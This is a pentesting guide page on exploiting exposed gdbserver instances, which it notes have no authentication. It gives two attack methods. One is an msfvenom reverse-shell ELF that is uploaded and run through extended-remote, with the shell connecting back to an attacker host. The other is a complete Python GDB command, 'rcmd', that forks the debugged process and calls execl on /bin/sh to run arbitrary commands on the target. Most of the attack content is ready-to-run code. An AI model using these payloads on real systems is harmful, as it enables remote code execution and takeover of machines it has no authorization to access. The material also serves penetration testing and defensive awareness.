Pentesting Remote gdbserver
Basic Information
gdbserver enables remote debugging of programs on a target system from a host running GDB. GDB and gdbserver communicate over the remote serial protocol, commonly over TCP or a serial device. The host should use executable and library files that exactly match the target when it needs reliable symbols and debugging behavior.[2][3]
gdbserver can listen on an operator-selected TCP port, so service detection may not consistently label it on a nonstandard endpoint. Confirm suspected services manually. Crucially, gdbserver has no built-in authentication or transport security: a connected debugger operates with the privileges of the account running gdbserver, so exposing it to an untrusted network is effectively exposing process control.[2]
Exploitation
Upload and Execute
If an exposed server accepts target extended-remote sessions and permits starting a new program, an authorized tester can create an ELF payload with msfvenom, upload it, and execute it. remote put depends on remote file-I/O support, while run in extended-remote mode uses set remote exec-file to select the target-side executable.[3][4]
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
chmod +x binary.elf
gdb binary.elf
# Set remote debugger target
target extended-remote 10.10.10.11:1337
# Upload elf file
remote put binary.elf binary.elf
# Set remote executable file
set remote exec-file /home/user/binary.elf
# Execute reverse shell executable
run
# You should get your reverse-shellExecute arbitrary commands
Another approach makes the inferior call fork, execl, and libc file functions through a custom GDB Python command. It requires the relevant symbols/functions, a usable /bin/sh, permission to fork/exec, and a target state in which GDB can call inferior functions.[1][3]
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345
# Load our custom gdb command `rcmd`.
source ./remote-cmd.py
# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r
# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r
# Run the remote command, e.g. `ls`.
rcmd lsFirst of all create locally this script:
#!/usr/bin/env python3
import gdb
import re
import traceback
import uuid
class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}
self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")
gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")
super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)
def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
return self.addresses[symbol]
def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)
# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return
gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')
gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')
def invoke(self, arg, from_tty):
try:
self.preload()
is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")
parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")
try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")
self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
RemoteCmd()